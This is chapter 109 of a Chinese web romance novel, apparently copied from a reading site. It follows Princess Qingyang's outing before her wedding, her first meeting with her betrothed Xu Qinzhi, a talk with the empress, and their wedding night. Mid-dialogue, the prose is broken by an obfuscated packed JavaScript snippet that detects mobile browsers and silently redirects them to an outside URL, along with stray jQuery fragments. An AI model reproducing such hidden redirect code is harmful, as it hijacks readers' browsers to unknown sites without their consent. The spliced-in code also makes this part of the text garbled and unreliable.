109. 第一百零九章
作品:《被恋爱脑死缠烂打后》 徐勤之十六岁成为新科状元,被先皇看上把自己的大女儿青阳公主嫁给了他,在外人看来,可谓是平步青云,飞上枝头了。
婚后,两人相敬如宾,相互扶持,长公主本觉得这是一块木疙瘩,没想到木疙瘩开花了。
先皇有三子三女,青阳公主是继三子后第一个女儿,先皇疼爱得很,幼时就连上朝都要带着这个女儿,婚礼自然是空前绝后的。
“公主,还有三套呢,您快起来试试,否则皇后娘娘要怪罪了。”成婚前五天,内务庭送来一应衣饰,青阳公主试了几件便躺在榻上偷懒,任由宫人怎么劝说都不起来。
青阳耍赖:“不试不试,这不都是按照我的尺寸做出的吗,还要试什么,我觉得挺好的,你回去吧。”说着便催内务庭的人回去。
除了她,屋里的人个个面露难色。
“公主啊,我的好公主。”贴身婢女有些焦急,“奴婢求您了,皇后娘说过了,试完衣饰若是时间充裕,还能出宫去吃您最爱的那家酒楼呢。”
“当真?你不会是在骗我吧?”
“奴婢怎么敢。”
半个时辰后,青阳前脚脱下婚服,后脚就出现了宫门口。
“碧玉飞玉,今天想吃什么随便买,本宫付钱。”青阳公主大手一挥,心情颇好。
看着街上接踵而至的百姓,青阳猛吸了一口气,因为成婚的事,已经数月未出宫了,这次好不容易出来,她才不会轻易就回去呢。
想到这里,又看了看碧玉腰间的钱袋子,妥了。
三人边走边买,不出一会儿碧玉和飞玉的手已经满了,两人看着还不打算收手的主子,对视一眼,飞玉犹豫道:“小姐,已经买了很多了。”
青阳公主转头看了眼飞玉,又看看抬手给她看的碧玉,叹口气:“好吧,那我们先去酒楼吧,正好也该吃饭了。”
听到公主还没打算回去,碧玉和飞玉的背一下就塌了。
飞玉深吸一口气,再一次劝道:“公主,时候不早了,我们该回去了。”
“回去?”青阳公主眼珠咕噜一转,开始装傻,“我还没吃晚饭呢,你们要我饿着肚子回去?”
被冤枉的两人连连摆手,却因为手中的东西动作很是滑稽。
达到目的,青阳径直走向了一旁的酒楼。这家店还是他第一次出宫时大皇兄和她推荐的,吃了一次就爱上了。
看到熟人,酒楼老板连忙一脸谄笑地迎了上来:“您来了。”
青阳点点头:“老样子。”说完,就要朝二楼走去,没想到刚迈开步子,就被老板拦下了。
“这是何意?”
飞玉一个跨步推开了老板,挡在青阳公主面前。
“您常来的那个包厢已经有人了,今日酒楼客人多,楼上的包厢都满了,您看您在一楼吃,如何?”没注意到青阳越来越黑的脸的老板喋喋不休着,“我这就让人安排。”
“我家主子只坐包厢。”碧玉冷着脸开口。
酒楼老板有些为难,楼上的都是贵客,其中以为更是今朝新科状元,他得罪不起啊。可眼前的这位看模样也是那家贵人小姐。
两头都得罪不起,老板犯了难。
不过那位新科状元是先来的,往事总该有先来后到,可眼前这位常来,人也是好相与的,出手也大方,想到这里,老板开始同青阳公主商量:“真是不巧,要不您明日再来,我请您吃?”
若是平日,也就算了,可她大婚在即,自己虽说不想回去,今日也没打算回宫,可明天必须回去了,她爱吃的菜又只晚上才有。
“不行。”
一旁的飞玉也开始胡诌:“老板,也不是我们为难你,实在是我家主子明日就要离京了,此一去不知何时才能回来,她只想在临走前再吃一次您家的菜。”
听到这话,酒楼老板想到了自己远嫁的女儿,算算已经五年未回来了。
“那我去楼上问问,看能不能匀出一个包厢来,三位稍等片刻。”
待老板离开,青阳公主给飞玉送去一个赞许的眼神。
不一会儿,老板急匆匆地下楼了,脸上也是压抑不住的笑容:“三位请随我来吧。”
到了包厢,老板没急着离开,反而说起自己去帮他们要包厢的事:“那位新科状元真是个好相与的,我说了您的事,他就直接把这个包厢让出来了。”
新科状元?碧玉和飞玉对视一眼,又看向坐着的公主,这不就是未来驸马吗?没想到能在这里遇上。
青阳随口问了一句老板那人的包厢,不动声色地送走老板后立刻起身,脚步轻快地走到墙边,又示意另外两人安静。
见状,碧玉也想听听,便跟在青阳公主身后。
片刻后,青阳公主板着脸站直身子,问碧玉:“你听到什么了?”
“回公主,我什么都没听到,或许徐公子不在隔壁呢。”
青阳正要吩咐飞玉出去打探一下,就听到外面传来说话的声音,她没听过徐勤之的声音,当初晋封时远远看过一眼,并未看得真切,今日遇上了,她便想着看看这人是否如父皇说的那般翩翩君子。
飞玉刚打开门,青阳就和外面听到动静回头的人对视上。
那人一怔,瞬间瞪大了眼睛,连忙行礼:“臣参见公主殿下。”旁边正交谈的众人也都纷纷转身行礼。
为首的人她认识,青阳摆摆手:“都起来吧。”
竟然被他们发现了,青阳公主环视众人一圈,干脆直接问道:“我听说新科状元也在,是哪位啊?”
人群最后面的紫衣男子走上前,心里:“臣徐勤之参见公主。”
徐勤之没想到在这里能碰上青阳公主,有些诧异,却不敢问什么,没想到公主竟然同他解释了。
“宫里烦闷,我出来走走。”
“臣也没想到能在这里遇上公主,实乃臣之幸。”
听着徐勤之的马屁,青阳有些不悦,没再看他一眼。酒楼老板听说公主在他店里,急匆匆地上了二楼,就看到这一场面,在看清楚公主的真容后,浑身冷汗直冒,摸了摸脖子,庆幸自己不是那狗眼看人低之人。
见徐勤之不与自己主动说话,青阳公主便放他们离去了。
出了酒楼,方才最先看到青阳公主的大臣把徐勤之拉到一旁:“你怎么不同公主多说几句?”
徐勤之不解:“我以为公主不想同我说话。”
“真是个榆木脑袋,你不能光读书啊。”
“未来还有很多与公主说话的日子。”
大臣见徐勤之油盐不进,想了想也不再多说,话少也好,说明不是那种见异思迁之人,两个人过日子就是要慢慢磨合,更何况是公主呢。
酒楼中,青阳公主并未在意,她和徐勤之的日子还长,不在这一刻。
碧玉边吃边说:“公主,驸马模样真是一顶一的,难怪皇上当时直接赐婚了,不然还未出宫就被那些家中有女儿的抢了去了。”
不是丑的就好,青阳公主虽未说,但也放心了,倘若是个不合眼缘的,她后半辈子定不会愉悦了。
人虽话不多,但面相好,她看第一眼就喜欢了。
第二日,三人匆匆回宫,刚进寝宫,就看到皇后身边的宫人在门口等着了。
青阳暗道不好,屏退宫人。
“母后,你怎么有空来我这里啊?”
看着这个女儿,皇后感觉自己的头风又烦了:“我准许你出宫,你却先斩后奏。”
见母亲不悦,青阳收起自己的嬉笑,跪在皇后面前。
“你这是做什么?快起来。”
“母后,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698991|160716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是女儿不孝,日后便不能陪在父皇母后身边尽孝了。”
皇后看着自己最疼爱的女儿,也不忍再说些重话:“你父皇说了,勤之是个好孩子,他为你赐婚,也是思量多日才决定的。母后只希望你嫁人后能日日快乐,平安健康,我便安心。”
“母后放心,徐勤之若是对我不好,我便杀了他。”
听到女儿的胡言乱语,皇后也是深吸一口气,这个女儿是她拼了半条命才生下来的,自小便管着宠着,也不知她的夫婿日后会不会如同他们一样。
想到这里,皇后满眼不舍地盯着女儿。
看出母亲的异样,青阳公主起身坐到皇后身旁,依偎在她肩头:“母后,你在想什么呢?”
皇后一脸温柔地抚摸着女儿的头,缓缓道来:“在想你小时候,每日不是欺负这家小姐,就是把那家公子打哭,我和你父皇头疼坏了。”
听到自己幼时的糗事,青阳公主娇嗔道:“母后!你别说了,这都多少年过去了。”
“你的事,母后一辈子都不会忘的。”
母女二人又交谈一会儿,皇后便回自己寝宫了。
见皇后离开,碧玉连忙进来,看到自家公主闷闷不乐的,眼底满是担忧:“公主,皇后娘娘没有责怪您吧?”
青阳公主没有回答她,反问道:“碧玉,等我成婚了,你若是想回家,我便放你回去。”
“公主,奴婢不走。”碧玉急了,公主为何突然说起自己出宫的事,“公主,奴婢此生都不会离开公主的,您别赶我走。”
碧玉五岁时就被送进了宫,还好遇到的都是和善之人,年幼的她日子过得也不错,六岁时本应该去伺候三皇子的她被阴差阳错送到了和她同龄的青阳公主面前,小小的碧玉跪和送她的嬷嬷跪在地上,等着皇后责怪。
却等来了一句“公主与你同岁,你就留下吧。”
青阳公主爬树,她胆小,便在下面等着。公主在榻上睡觉,她握着笔学着公主的笔迹写太傅留下的作业,然后两人一起被告到皇后面前,一起挨骂,感情早已超出了寻常主仆。
碧玉见公主不说话,以为她是在思量着如何劝解自己,正要开口,就看到公主一头栽了下去。
“公主!”
“好痛!”
看着碧玉板着脸不说话,青阳有些后悔说刚才的花了,开始给她赔礼道歉:“方才的话你不要放在心上,我也是不想让你走的,希望你也能找个好归宿。”
“公主,我找个赘婿就好了啊。”
见碧玉语气坚定,青阳把她的话记在了心里。
大婚之日很快就来了,宫里的人忙成了一团,青阳坐在梳妆镜面前,看着镜中华丽的自己,感到有些不真实,可耳边的声音却是真真切切的。
告别父皇母后,青阳上了花轿,新郎本应骑着马走在花轿前面,可他却不一样。
偷看着轿子外面的人,青阳忍不住偷笑嘀咕:“这人怎么和常人不同?”想着,便又多看几眼,和正巧望过来的徐勤之对视。
二人连忙转过头。
徐勤之不敢再看,目视前方,却又忍不住想起方才花轿中的眼神,耳朵微红。
拜过天地,便入了洞房,没人敢闹公主的洞房,徐勤之平日又是一板一眼的,众人便放了两人,喝酒去了。
一切仪式过后,屋里只剩下两人。
“公主,您要把头冠摘下来吗?”
青阳公主嗯了一声,就等着徐勤之来帮自己,片刻后,那人也没有动静,她面露不悦,摘下头冠重重地放在床上。
察觉出青阳公主生气,徐勤之思来想去也没想明白,方才不还好好的吗?
“你怎么不给我摘头冠?”
“啊?”
“啊什么?今晚你不许睡地上!”